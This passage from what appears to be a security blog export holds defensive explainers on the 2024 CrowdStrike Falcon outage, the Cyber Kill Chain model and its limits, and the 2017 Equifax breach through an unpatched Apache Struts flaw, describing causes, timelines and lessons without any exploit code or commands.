Monster](https://blog.pwnsy.com/genesis-market-explained), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - This was not an attack. A content update to the CrowdStrike Falcon sensor for Windows crashed the machines it reached, and CrowdStrike's analysis confirmed the bug was not exploitable by a threat actor. - The sensor expected 20 input fields and the update provided 21. The mismatch produced an out-of-bounds memory read in the Content Interpreter and the operating system crashed. - The update was live between 04:09 and 05:27 UTC on 19 July 2024, a window of 78 minutes. Microsoft estimated 8.5 million Windows devices were affected. - Recovery was slow because the crash happened at boot: a machine in a bugcheck loop cannot receive a fix over the network, so most hosts needed hands on them. ### Key Takeaways - Security agents run with kernel privileges by design, so a defect in one is an availability event on every machine it reaches. - The distinction that mattered operationally was between sensor code, which was staged, and Rapid Response Content, which was delivered to all eligible hosts at once. - A validation gap let content reach production that had never been exercised with the field it actually carried, because wildcard matching in testing never exercised the 21st input. - Recovery cost is a function of whether a machine can still take an update. Anything that breaks boot converts a software rollback into a physical visit. - The remediation asks are not exotic: staged rollout for content as well as code, customer control over update timing, and a rollback path that does not require the host to be healthy. - The question to take from it applies to every supplier that can change code on all your endpoints at once: know who they are, and know your plan for the day one of them ships a bad change. ### FAQ **Q: Was the CrowdStrike outage a cyberattack?** No. It was a defect in a content configuration update that CrowdStrike released as part of normal operations. CrowdStrike's root cause analysis, supported by a third-party review, confirmed that the out-of-bounds read was not exploitable by a threat actor. Criminals did exploit the confusion afterwards, registering lookalike domains and distributing fake recovery tools, which is a separate and predictable follow-on. **Q: What actually caused the crash?** In February 2024, CrowdStrike introduced a sensor capability for visibility into abuse of Windows interprocess communication mechanisms, which pre-defined a set of fields for Rapid Response Content to populate. On 19 July 2024 an update was delivered where, in CrowdStrike's words, the sensor expected 20 input fields while the update provided 21. The mismatch resulted in an out-of-bounds memory read, which caused a system crash. **Q: How many machines were affected and for how long?** Hosts running sensor version 7.11 and above that were online between 04:09 UTC and 05:27 UTC on 19 July 2024 and received the update were affected. Microsoft estimated 8.5 million Windows devices. The defective content was reverted at 05:27 UTC, 78 minutes after release, and CrowdStrike reported that roughly 99% of Windows sensors were back online by 8:00 pm EDT on 29 July. **Q: Why was recovery so slow if the fix took 78 minutes?** Because the affected machines could not boot. A host in a bugcheck loop is not running an agent, is not reachable on the network, and cannot pull a corrected file. The published remediation involved booting into safe mode or the recovery environment and deleting the offending file, which for many organisations meant physically touching each machine, and encrypted disks added a step because recovery keys were needed first. **Q: Does this mean EDR is a bad idea?** It means EDR carries an availability risk that has to be managed alongside the security benefit it provides. An agent with kernel-level visibility is what detects the techniques that matter, and the same privilege is why a defect in it takes the machine down. The response is to manage the deployment, meaning staged rollout, control over update timing, tested recovery, rather than to remove the control. **Q: What should organisations have changed after it?** Three practical things. Know which vendors can push code or content to all your endpoints at once, and treat that list as concentration risk. Ask each of them what staging and rollback controls you can apply. And test a recovery path that assumes the machines cannot boot and cannot reach the network, including where your disk encryption recovery keys live. Airlines stopped flying. Hospitals moved to paper. Broadcasters went off air. Payment terminals in supermarkets stopped taking cards. For most people watching on 19 July 2024, this looked like the largest cyberattack in history. It was a bad file. A content update to a security product crashed the Windows machines it reached, and the reason the effect was global is that the product is installed on a great many of them and runs with kernel privileges because that is what the job requires. This page covers the mechanism as CrowdStrike documented it, why recovery took far longer than the fix, and the question the incident should leave behind, which is about supplier concentration rather than about one vendor. ## Timeline | Time (UTC), 19 July 2024 unless noted | Event | |---|---| | February 2024 | A sensor capability ships for visibility into abuse of Windows interprocess communication mechanisms, pre-defining a set of fields for Rapid Response Content | | 5 March 2024 | The first Rapid Response Content for Channel File 291 goes to production after a successful stress test | | 8 to 24 April 2024 | Three further Rapid Response updates deploy and perform as expected | | 04:09 | A Rapid Response Content update is released | | 04:09 to 05:27 | Hosts on sensor 7.11 and above that are online and receive the update crash | | 05:27 | The defective content is reverted | | 20 July | Microsoft publishes an estimate of 8.5 million affected Windows devices | | 29 July, 8:00 pm EDT | CrowdStrike reports roughly 99% of Windows sensors back online | | 6 August 2024 | The external root cause analysis is published | The gap that defines the incident is between 05:27 UTC on 19 July, when the bad content stopped being served, and the days of manual work that followed. ## The mechanism Falcon separates two kinds of update, and the distinction is the centre of this case. **Sensor Content** is the agent itself, meaning code, shipped with the sensor version and adopted on a schedule the customer influences. **Rapid Response Content** is behavioural configuration that tells the existing sensor what to look for. It exists to be fast: a new technique appears, and detection reaches customers in minutes rather than in a release cycle. It was not subject to the same staged rollout as sensor versions, because speed is the point of it. In February 2024, a new capability shipped in the sensor for visibility into abuse of Windows interprocess communication mechanisms. That capability defined a set of fields that Rapid Response Content would populate. On 19 July, an update was delivered that evolved that capability. In CrowdStrike's own words in the executive summary of the root cause analysis: "The sensor expected 20 input fields, while the update provided 21 input fields. In this instance, the mismatch resulted in an out-of-bounds memory read, causing a system crash." The Content Interpreter in the sensor read past the end of the data it had. The sensor runs in kernel mode, so a fault there is not a crashed application. It is a bugcheck, the blue screen, and then a reboot into the same file and the same crash. Two details from the analysis matter for anyone drawing lessons. **The gap survived multiple layers of testing.** The parameter mismatch was not caught in sensor release testing, in stress testing of the template type, or in the several successful field deployments between March and April. Part of the reason is that the earlier instances used wildcard matching for the 21st input, so the path that failed on 19 July was never exercised with real content in it. **The bug was not exploitable.** CrowdStrike's analysis, with a third-party review, concluded that a threat actor could not use it. That distinction matters because the visible symptoms of this event and of a destructive attack are identical, and organisations spent the first hours unable to tell which they were in. ## Why recovery took days The corrected content was in place 78 minutes after release. Machines that had already crashed did not benefit, and this is the part worth internalising. **A crashed host cannot be fixed remotely.** It is not running the agent, has no network stack, and cannot pull a corrected file. Every automated remediation channel an organisation owns assumes a booting machine. **The published fix was manual.** Boot into safe mode or the recovery environment, delete the offending file, reboot. That is a few minutes per machine and it requires access to the machine. **Disk encryption added a step.** Recovering a machine into safe mode meant supplying a recovery key first, and organisations discovered where those keys lived, which for some was a system that was itself down. **Scale multiplied everything.** Thousands of endpoints, servers in data centres, virtual machines, kiosks and terminals in physical locations. Some hosts recovered by rebooting repeatedly and receiving the fix in a window before the crash, which turned into an unofficial and unreliable remedy. The general principle: **the cost of a bad change is set by whether the affected system can still receive a good one.** Anything that breaks boot, breaks the network stack, or breaks the management agent converts a software rollback into a physical visit, and that is a different order of magnitude in time and money. ## The second-order events Two consequences worth recording. **Criminals moved immediately.** Lookalike domains, fake recovery tools carrying malware, and phishing and phone calls impersonating support to organisations known to be affected. This is the reliable pattern after any large public disruption, and it is the same playbook described in [Tech Support Scams Explained](/tech-support-scams-explained) applied at enterprise scale. **The legal and regulatory consequences ran long.** Airlines were among the most visibly affected and litigation followed, and the incident became a standing reference in discussions of concentration risk in critical software. ## What changed CrowdStrike published a preliminary review, then a full external root cause analysis, and committed to changes in how Rapid Response Content is built, validated and deployed. The direction was staged deployment for content rather than only for sensor versions, more validation of content against what the sensor expects, and more customer control over update timing. Microsoft used the incident to discuss reducing the need for security products to run in the Windows kernel, which is the deeper structural question. Kernel-level access is what gives an agent tamper resistance and visibility into techniques that user-mode code cannot see. It is also why a defect in that agent takes the operating system with it. ## The question to take from it The useful lesson generalises to any vendor whose software runs everywhere and updates itself. They all have this shape. - **Which suppliers can change code or content on all of your endpoints at once?** Security agents, management agents, backup agents, VPN clients, browser policy, driver update tooling. The list is usually longer than expected and nobody owns it as a risk. - **What staging can you apply to each of them?** Ask the vendor what control exists over update timing and rings, and note where the answer is none. - **What is your recovery plan when the machines cannot boot?** Not the plan for restoring data, which is [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide). The plan for touching several thousand endpoints, including where recovery keys are held and who is authorised to use them. - **How would you tell an outage from an attack in the first hour?** They look the same from the help desk, and the response differs completely. ## The verdict A content update carrying one more field than the sensor was built to read crashed 8.5 million machines in 78 minutes, and the fix that took 78 minutes took ten days to finish applying because the broken machines could not be reached. The security lesson runs against the usual grain. The controls that protect an estate are themselves privileged software running everywhere, and their failure modes belong in the risk register beside the threats they exist to stop. That is an argument for managing the deployment carefully rather than for removing the agent. ## Related guides - [Incident Response 101](/incident-response-101) - [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide) - [Supply Chain: Code Signing Explained](/code-signing-explained) - [What Is a SIEM](/what-is-a-siem) - [Tech Support Scams Explained](/tech-support-scams-explained) ### Sources - External Technical Root Cause Analysis, Channel File 291 (CrowdStrike): https://www.crowdstrike.com/wp-content/uploads/2024/08/Channel-File-291-Incident-Root-Cause-Analysis-08.06.2024.pdf - Executive Summary: Root Cause Analysis, Channel File 291 (CrowdStrike): https://www.crowdstrike.com/wp-content/uploads/2024/08/Executive-Summary_Root-Cause-Analysis_Channel-File-291.pdf - Falcon Content Update Preliminary Post Incident Review (CrowdStrike): https://www.crowdstrike.com/en-us/blog/falcon-content-update-preliminary-post-incident-report/ - Widespread IT Outage Due to CrowdStrike Update (CISA): https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update - Helping our customers through the CrowdStrike outage (Microsoft): https://blogs.microsoft.com/blog/2024/07/20/helping-our-customers-through-the-crowdstrike-outage/ --- ## The Cyber Kill Chain Explained: Seven Phases and Their Limits > Lockheed Martin's seven-phase intrusion model, what defenders do at each phase, the courses of action matrix, and where the model breaks down against credential-based and cloud intrusions. - URL: https://blog.pwnsy.com/cyber-kill-chain-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: kill-chain, threat-intel, mitre-attack, detection, incident-response - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works) ### TL;DR - The kill chain describes an intrusion as seven phases: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. - Its argument is that the attacker must complete every phase and the defender only has to break one, which moves defense earlier than the moment data leaves. - The courses of action matrix is the useful half: for each phase, what can you detect, deny, disrupt, degrade, deceive or destroy. - It was written in 2011 around malware delivered to a perimeter, so it fits phishing-to-implant intrusions well and fits credential-based, SaaS and insider intrusions badly. ### Key Takeaways - The model came from a 2011 Lockheed Martin paper, and its contribution was arguing that intrusions are campaigns with repeatable structure rather than isolated events. - Breaking any single phase stops that intrusion attempt, which is why defense in depth is more than a slogan: seven phases give seven chances. - Weaponization is the one phase a defender cannot observe, because it happens entirely on the attacker's side. - The kill chain is a narrative and ATT&CK is a taxonomy. Use the kill chain to explain the shape of an intrusion and ATT&CK to describe specific behaviors and drive detection coverage. - The linearity is the weakest assumption. Real intrusions loop, run phases in parallel across hosts, and skip phases entirely when valid credentials remove the need for an exploit. - The Unified Kill Chain extends the model to 18 phases covering initial foothold, internal propagation and objectives, which fixes the model's silence about everything after the first host. ### FAQ **Q: What are the seven phases of the cyber kill chain?** Reconnaissance, gathering information about the target. Weaponization, pairing an exploit or payload with a deliverable file. Delivery, transmitting it to the target. Exploitation, triggering execution. Installation, establishing persistence. Command and control, opening a channel back to the attacker. Actions on objectives, doing whatever the intrusion was for, most often collecting and exfiltrating data or deploying ransomware. **Q: Who created the cyber kill chain?** Eric Hutchins, Michael Cloppert and Rohan Amin at Lockheed Martin, in a 2011 paper on intelligence-driven computer network defense. The term is borrowed from military targeting doctrine, where a kill chain describes the sequence of steps required to engage a target, and the security adaptation makes the same argument: interrupt any step and the whole sequence fails. **Q: What is the difference between the kill chain and MITRE ATT&CK?** The kill chain gives seven ordered phases and tells a story about the shape of an intrusion. ATT&CK gives fourteen enterprise tactics with hundreds of techniques beneath them, describing observed adversary behavior in detail without asserting an order. Use the kill chain to communicate structure to people who need the outline, and ATT&CK to map detections, measure coverage and describe what an actor specifically did. **Q: Is the cyber kill chain outdated?** It is dated rather than useless. It was written around malware delivered to a network perimeter, so it describes that intrusion shape well and describes credential-based intrusions poorly, where an attacker signs in to a SaaS application with a stolen password and never weaponizes, delivers or installs anything. Its core argument about breaking one link and moving defense earlier still holds, and models such as the Unified Kill Chain extend it to cover what happens after the first host. **Q: What is the courses of action matrix?** A grid with the kill chain phases as rows and six defensive actions as columns: detect, deny, disrupt, degrade, deceive and destroy. Filling it in for your own environment produces a map of where your controls actually sit, and the empty cells are the gaps. It is the part of the original paper with the most direct operational use. **Q: Where should defense concentrate?** Earlier than most programs do. Controls at delivery and exploitation stop an intrusion before the attacker has any access, and they are cheaper than detecting an established foothold. That said, no phase is reliably defensible on its own, so the practical answer is layered coverage with the strongest controls at delivery, exploitation and command and control. Before 2011, a lot of security work treated intrusions as events. Something bad happened, it was cleaned up, and the next thing that happened was treated as unrelated. The Lockheed Martin paper that introduced the cyber kill chain made a different argument: intrusions are campaigns with a repeatable structure, an attacker has to complete every step of that structure to succeed, and a defender only has to break one of them. That reframing is why the model spread. It moved the defensive question from "how do we stop the exfiltration" to "which of the seven steps before it can we break". This guide covers the seven phases and what a defender does at each, the courses of action matrix that turns the model into a plan, and the specific places where a model written for perimeter-delivered malware does not fit intrusions today. Scope: [MITRE ATT&CK Framework Explained](/mitre-attack-framework-explained) owns the technique taxonomy, [Incident Response 101](/incident-response-101) owns response, and [Lateral Movement Explained](/lateral-movement-explained) owns what happens between hosts. This page owns the model. ## The seven phases ### 1. Reconnaissance Selecting and researching a target. Public sources: employee names and roles, email address formats, technologies mentioned in job listings, exposed infrastructure in certificate transparency logs and DNS records, code and credentials in public repositories. Active scanning of the perimeter where the attacker accepts the noise. **What a defender sees.** Very little of the passive part, by construction, since reading a public LinkedIn page generates no signal on your network. Active scanning shows in perimeter logs and is drowned in the constant background scanning of the internet. **What a defender does.** Reduce what is available: minimise metadata in published documents, keep DNS records tidy, monitor certificate transparency for hostnames you did not intend to publish, and scan yourself so you know your own exposed surface. [OSINT Reconnaissance Guide](/osint-reconnaissance-guide) and [Port Scanning Explained](/port-scanning-explained) cover both sides. ### 2. Weaponization Pairing a payload with something deliverable: a macro-enabled document, a malicious LNK file, an ISO or archive carrying a loader, an installer bundled with a legitimate application. **What a defender sees.** Nothing. This happens entirely on the attacker's infrastructure. It is the one phase with no direct defensive action, and its value in the model is analytical: samples recovered later reveal tooling and build artifacts that link separate intrusions to one actor. ### 3. Delivery Getting the weaponized object to the target. Phishing email, a compromised website, a malicious advertisement, removable media, a supply chain update, or a direct attack on an exposed service. **What a defender sees.** A great deal, which is why this is the highest-value phase to invest in. Email security, attachment detonation, DNS filtering, web proxies and network detection all operate here. **What a defender does.** Block the delivery mechanism. Strip or sandbox risky attachment types, disable macros from the internet, filter newly registered domains, and mark external email clearly. [What Is Phishing](/what-is-phishing) and [Email Security Guide](/email-security-guide) cover this phase in depth, and [HTML Smuggling](/html-smuggling) covers the technique that exists specifically to get past this layer. ### 4. Exploitation Triggering execution on the target. A software vulnerability, or a user persuaded to enable content, run an installer, or paste a command into a terminal. **What a defender sees.** Exploit attempts in EDR telemetry, unusual process ancestry (a browser or an office application spawning a shell), and crash artifacts. **What a defender does.** Patch, which is why [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) matters at this phase. Enable exploit mitigations, covered in [Exploit Mitigations Explained](/exploit-mitigations-explained). Remove local administrator rights so exploitation yields less. Restrict script interpreters and macro execution. ### 5. Installation Establishing persistence so the access survives a reboot and the user logging out. Registry run keys, scheduled tasks, services, WMI subscriptions, startup folders, or a web shell on a server. **What a defender sees.** This is where EDR is strongest, because persistence writes to a small number of well-known places. [Malware Persistence Techniques](/malware-persistence-techniques) enumerates them. **What a defender does.** Alert on new persistence, particularly a new service or scheduled task on a server. Application control, so unapproved binaries cannot execute at all. ### 6. Command and control Opening a channel between the implant and the operator. HTTPS to a compromised or attacker-controlled site, DNS tunnelling, a legitimate cloud service used as a dead drop, or a mail-based channel. **What a defender sees.** Beaconing patterns, meaning regular callbacks with consistent intervals and sizes. Unusual destinations, newly registered domains, and volumes of DNS traffic that do not match browsing behavior. **What a defender does.** Egress filtering so only approved paths leave the network at all, DNS logging and filtering, TLS inspection where policy allows, and beacon detection. [Command and Control Explained](/command-and-control-explained) and [DNS Tunneling Explained](/dns-tunneling-explained) cover the mechanisms. This is a strong phase for defense because the attacker must communicate, repeatedly, over time. ### 7. Actions on objectives Whatever the intrusion was for: collecting and exfiltrating data, deploying ransomware, committing fraud, or maintaining long-term access for later. **What a defender sees.** Large or unusual data movements, access to sensitive stores by accounts that never touch them, mass file modification, shadow copy deletion, backup tampering. **What a defender does.** Data loss prevention, covered in [What Is DLP](/what-is-dlp), segmentation so a single compromise cannot reach everything, and backups that an attacker with domain rights cannot reach, covered in [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide). Note the gap that later models exist to fill: the original chain jumps from establishing control to achieving objectives, and says nothing about the internal reconnaissance, privilege escalation and lateral movement that occupy most of the attacker's actual time inside a network. ## The courses of action matrix The paper's most directly usable contribution is a grid: phases as rows, defensive actions as columns. | Phase | Detect | Deny | Disrupt | Degrade | |---|---|---|---|---| | Reconnaissance | Web and perimeter logs | Reduce public exposure | Rate limiting | Noise in public data | | Delivery | Email gateway, proxy logs | Attachment filtering | Sandbox detonation | Attachment rewriting | | Exploitation | EDR, process ancestry | Patching | Exploit mitigations | No local admin | | Installation | EDR persistence alerts | Application control | Automated isolation | Restricted write paths | | Command and control | Beacon detection, DNS logs | Egress filtering | Sinkholing | Proxy inspection | | Actions on objectives | DLP, volume anomalies | Segmentation | Session termination | Rate-limited transfer | The original also lists deceive and destroy. Deception, meaning honeypots, canary tokens and decoy files, is genuinely useful and under-used: a document nobody should ever open, wired to an alert, detects the collection phase with almost no false positives. Fill this grid in for your own environment and the empty cells are your gaps. That exercise is worth more than the phase list itself. ## Kill chain and ATT&CK They answer different questions and the comparison is worth being precise about. | | Cyber kill chain | MITRE ATT&CK | |---|---|---| | Shape | 7 ordered phases | 14 enterprise tactics, hundreds of techniques | | Claim | Intrusions progress through stages | Adversaries use these observed behaviors | | Order | Sequential by design | Not sequential | | Granularity | Strategic narrative | Specific procedures | | Best for | Explaining structure, planning layers | Detection coverage, actor description | They coexist comfortably. The kill chain is what you draw for an executive briefing to explain that an intrusion had six steps before the visible one. ATT&CK is what you map detections to, because "we detect T1053.005" is a testable claim and "we cover installation" is not. The Diamond Model is the third piece of the classic trio, describing every intrusion event as a relationship between an adversary, a capability, some infrastructure and a victim. It is orthogonal to both: the kill chain says when, ATT&CK says how, and the Diamond Model says who and with what. ## Where it breaks Being specific about the limits is what keeps the model useful. **Credential-based intrusions skip most of it.** An attacker who buys a valid password from an infostealer log, signs in to a SaaS application, and downloads a customer database has performed no weaponization, no delivery, no exploitation and no installation. Four of seven phases are absent, and the phases the model tells you to defend are not on the path. [What Is an Infostealer](/what-is-an-infostealer) covers the supply side of this, and it is now one of the most common intrusion shapes. **It is malware-centric.** Living-off-the-land intrusions using built-in administrative tools produce no installation phase in the sense the model intends. **It is linear.** Real intrusions loop: fresh reconnaissance from inside, new delivery to a second host, repeated exploitation as they move. Phases run in parallel on different machines. Treating the chain as a straight line under-describes what an incident responder actually sees. **It stops at the perimeter.** Everything after the first host, which is most of the intrusion, is compressed into two phases. The Unified Kill Chain addresses exactly this, extending to 18 phases across three stages covering getting in, moving through, and acting on objectives. **It says nothing about insiders.** Someone who already has access performs none of the first five phases. **It assumes a perimeter.** With SaaS, cloud and remote work, the boundary the model was written against is thinner than it was, which is the reasoning behind [Zero Trust Architecture Explained](/zero-trust-architecture-explained). ## The verdict The kill chain's durable contribution is the argument, rather than the seven boxes: an intrusion is a sequence, the attacker must complete all of it, and the defender only has to break one link. That is the case for layered defense stated in a form people act on. Use it for structure and communication, use ATT&CK for detection engineering and actor description, and use the courses of action matrix to find out where your controls actually sit. And read the phases as a checklist of opportunities rather than as a claim that intrusions proceed tidily from one to seven, because they do not. ## Related guides - [MITRE ATT&CK Framework Explained](/mitre-attack-framework-explained) - [Incident Response 101](/incident-response-101) - [Lateral Movement Explained](/lateral-movement-explained) - [Command and Control Explained](/command-and-control-explained) - [Threat Hunting Guide](/threat-hunting-guide) ### Sources - Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains (Lockheed Martin): https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf - MITRE ATT&CK Enterprise Matrix (MITRE): https://attack.mitre.org/matrices/enterprise/ - The Unified Kill Chain (Paul Pols): https://www.unifiedkillchain.com/ - The Diamond Model of Intrusion Analysis (Center for Cyber Intelligence Analysis and Threat Research): https://apps.dtic.mil/sti/citations/ADA586960 - NIST SP 800-61r3: Incident Response Recommendations and Considerations (NIST): https://csrc.nist.gov/pubs/sp/800/61/r3/final --- ## The Equifax Breach: An Unpatched Struts Bug and 147 Million Records > How the 2017 Equifax breach worked: CVE-2017-5638 in Apache Struts, a scan that missed it, 76 days undetected behind an expired certificate, and the architecture that turned one web app into 51 databases. - URL: https://blog.pwnsy.com/equifax-breach-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: equifax, incident-analysis, vulnerability-management, data-breach, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records](https://blog.pwnsy.com/capital-one-breach-explained) ### TL;DR - A remote code execution flaw in Apache Struts, CVE-2017-5638, was disclosed and patched on 7 March 2017. Equifax did not patch an internet-facing dispute portal that used it. - Attackers were inside from 13 May to 30 July 2017. Equifax's own investigation described roughly 9,000 queries against 51 databases over those 76 days. - The intrusion went unseen because the device that decrypted and inspected outbound traffic had an expired certificate. Detection came within a day of that certificate being replaced. - The blast radius came from architecture rather than from the bug: one compromised web application could reach dozens of unrelated databases, and credentials sitting on a file share opened them. ### Key Takeaways - The patch existed for two months before the first access. This is a vulnerability management failure end to end, not a zero-day. - A vulnerability scan was run and reported nothing, which is the most transferable lesson: a scan that does not cover an asset returns clean, and clean reads the same as safe. - Expired certificates on inspection infrastructure are a detection outage. Nothing alerts, because the control fails silently in the direction of seeing less. - Flat internal architecture converted one web application compromise into access to 51 databases holding unrelated data. - Plaintext credentials on a shared filesystem are what made lateral movement trivial once the web shell was in place. - The reported record count moved for months after disclosure, which is normal, and is why any figure needs a date attached. ### FAQ **Q: What caused the Equifax breach?** A remote code execution vulnerability in Apache Struts, tracked as CVE-2017-5638, in an internet-facing consumer dispute portal. The flaw was disclosed with a patch available on 7 March 2017 and the portal was not patched. Attackers used it to run commands on the server, placed web shells, and moved from there to internal databases. **Q: When did the Equifax breach happen?** Equifax's investigation placed the unauthorised access between 13 May and 30 July 2017, a window of 76 days. The vulnerability had been public since 7 March 2017. The company detected the activity on 29 July, took the portal offline the following day, and disclosed publicly on 7 September 2017. **Q: How many people were affected by the Equifax breach?** The count reported at disclosure was about 143 million US consumers, revised to roughly 147.9 million in later filings, alongside smaller numbers of UK and Canadian records. Names, dates of birth, Social Security numbers and addresses were involved, and a smaller set included driver's licence and credit card numbers. Figures like these move for months after an incident, so any number worth quoting carries the date it was stated. **Q: Why did it take 76 days to detect?** The device that decrypted and inspected outbound network traffic was not inspecting, because the certificate it needed had expired and had not been renewed. Exfiltration traffic passed without being examined. When the certificate was replaced, the monitoring resumed and the suspicious traffic was identified almost immediately. **Q: What happened to Equifax afterwards?** The chief executive, chief information officer and chief security officer all departed. Congressional committees and the US Government Accountability Office published investigations. In July 2019 Equifax reached a settlement with the Federal Trade Commission, the Consumer Financial Protection Bureau and US states involving at least 575 million dollars and potentially up to 700 million dollars. **Q: What would have prevented it?** Any one of several things, which is what makes it instructive. Patching the portal in the two months the fix was available. An asset inventory good enough that the scan actually covered the system. A certificate expiry alert on the inspection device. Network segmentation preventing one dispute portal from reaching 51 databases. Credentials held in a vault rather than in a file on a share. Every element of the Equifax breach was ordinary. A known vulnerability with a published patch. A scan that reported nothing. An expired certificate. A flat internal network. Credentials in a file. None of it required a sophisticated adversary, and the combination produced one of the largest disclosures of personal data on record. That is why it remains the reference case for vulnerability management. The interesting question is not how the attackers got in, which took one HTTP request against an unpatched server. It is how a single web application reached 51 databases, and how 76 days of data leaving the network went unnoticed. Facts here come from the US Government Accountability Office report, the House Oversight majority staff report, Equifax's own disclosures and the FTC settlement. Figures are as those sources stated them. ## Timeline | Date | Event | |---|---| | 7 March 2017 | Apache discloses CVE-2017-5638 in Struts 2 and publishes a fix | | 8 March 2017 | US-CERT notifies Equifax, among others, about the vulnerability | | 9 March 2017 | Equifax circulates an internal notice to apply the patch | | 15 March 2017 | Equifax runs scans intended to find affected systems. The dispute portal is not identified | | 13 May 2017 | First unauthorised access, per Equifax's investigation | | 13 May to 30 July 2017 | Access continues. Roughly 9,000 queries against 51 databases | | 29 July 2017 | An expired certificate on the traffic inspection device is replaced. Suspicious traffic is identified the same day | | 30 July 2017 | The portal is taken offline | | 7 September 2017 | Public disclosure, initially about 143 million US consumers | | July 2019 | Settlement with the FTC, CFPB and states: at least 575 million dollars, up to 700 million | The two dates that matter most sit 67 days apart: the patch was available on 7 March, and the first intrusion was on 13 May. ## The vulnerability CVE-2017-5638 is a remote code execution flaw in the Jakarta Multipart parser in Apache Struts 2. A crafted `Content-Type` header on a file upload request caused the value to be evaluated as an expression, which meant an attacker could run commands on the server by sending one HTTP request. No authentication was required. Its severity was not in doubt at the time. It was disclosed with a patch, exploitation began within days, and it was widely flagged by vendors and by US-CERT. This is a textbook case for [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle): a critical, internet-reachable, actively exploited flaw with a fix available. The vulnerable application was ACIS, a consumer dispute portal, reachable from the internet. ## Why the patch never landed Two failures compounded, and both are common. **The notice did not reach the owner.** An internal alert instructed teams to patch Struts within a defined period. The list of recipients did not include the people responsible for the affected application. An instruction is not a control unless somebody can confirm it was executed on every affected asset. **The verification scan missed the asset.** Scans were run on 15 March to find vulnerable systems and did not flag the dispute portal. The GAO report describes the scanning as insufficient to identify the affected system. This is the most transferable failure in the case: a scan that does not cover an asset returns nothing, and a report with no findings looks identical whether the estate is clean or the scan was blind. It is why asset inventory sits at the top of the lifecycle and why coverage is a metric. ## From one web application to 51 databases The initial access was one server. The scale came from what that server could reach. **No segmentation of consequence.** The dispute portal sat where it could reach databases holding data unrelated to disputes. Attackers ran roughly 9,000 queries across 51 databases. In a segmented design, described in [Network Segmentation Guide](/network-segmentation-guide), a compromised public-facing portal reaches the small set of systems it needs and nothing else. **Credentials in the clear.** Usernames and passwords were found stored unencrypted on a file share reachable from the compromised host, which supplied the access to those other databases. This is precisely the failure that vaulting and rotation exist to prevent, covered in [Privileged Access Management Explained](/privileged-access-management-explained). **Web shells for persistence.** Multiple web shells were placed on the server, giving durable command execution independent of the original exploit. **Data staged and removed in pieces.** Extracted data was compressed and moved out in chunks small enough not to look unusual, which matters only because nothing was watching. Which brings us to the detection failure. ## The expired certificate Equifax decrypted and inspected outbound traffic to look for exactly this kind of activity. The device doing that inspection required a valid certificate. The certificate had expired and had not been renewed, so the traffic passed through uninspected. The failure mode is worth dwelling on. The device did not stop working, did not raise an alarm, and did not report a degraded state that anybody acted on. It simply saw less. From the outside, a security control that has silently stopped inspecting looks exactly like a security control that is inspecting and finding nothing. The proof is in the timing. When the certificate was replaced on 29 July, the monitoring came back, and the suspicious traffic was identified the same day. The capability to detect this intrusion existed for the whole 76 days. It was switched off by an expired certificate that nobody was tracking. The general lesson goes beyond certificates: **a security control needs monitoring that it is working**, separate from the alerts it produces. A log source that goes quiet, a scanner that stops covering a subnet, an agent that stops reporting, and an inspection device with an expired certificate all fail the same way, which is invisibly and in the direction of less visibility. That is why [What Is a SIEM](/what-is-a-siem) argues that a detection for a source going silent is among the most valuable rules a team can write. ## What changed afterwards **At Equifax.** The chief executive, chief information officer and chief security officer departed. The company committed to substantial security investment as part of the settlement, including specified programme requirements. **In regulation and oversight.** The GAO and congressional investigations produced detailed public accounts, which is why this incident can be studied precisely while others cannot. The FTC settlement in July 2019 involved at least 575 million dollars, rising to as much as 700 million, and included consumer redress. **In the wider industry.** The case became the standard argument for treating exploited-in-the-wild vulnerabilities as a different category from merely severe ones. CISA's Known Exploited Vulnerabilities catalogue, created in 2021 and covered in [KEV Catalog Explained](/kev-catalog-explained), is a direct descendant of the reasoning: what mattered about CVE-2017-5638 was that it was being exploited, not its score. ## What actually generalises Four things, in order of how often they still appear in incident reports. 1. **The patch existed and was not applied to a system nobody knew was affected.** The fix for this is asset inventory rather than exhortation. 2. **The verifying scan reported nothing because it did not cover the asset.** Measure coverage, not just findings. 3. **A detection control failed silently.** Monitor the health of controls, not only their output. 4. **The internal network let a public web application reach unrelated databases**, and credentials on a share opened them. Each of those is unremarkable on its own. That is the point of studying this breach: nothing exotic happened, and 147 million records left the building. ## Related guides - [Vulnerability Management Lifecycle](/vulnerability-management-lifecycle) - [KEV Catalog Explained](/kev-catalog-explained) - [Network Segmentation Guide](/network-segmentation-guide) - [Privileged Access Management Explained](/privileged-access-management-explained) - [What to Do After a Data Breach](/what-to-do-after-data-breach) ### Sources - GAO-18-559: Actions Taken by Equifax and Federal Agencies in Response to the 2017 Breach (US Government Accountability Office): https://www.gao.gov/assets/gao-18-559.pdf - The Equifax Data Breach: Majority Staff Report (US House Committee on Oversight and Government Reform): https://oversight.house.gov/wp-content/uploads/2018/12/Equifax-Report.pdf - Equifax Releases Details on Cybersecurity Incident (Equifax): 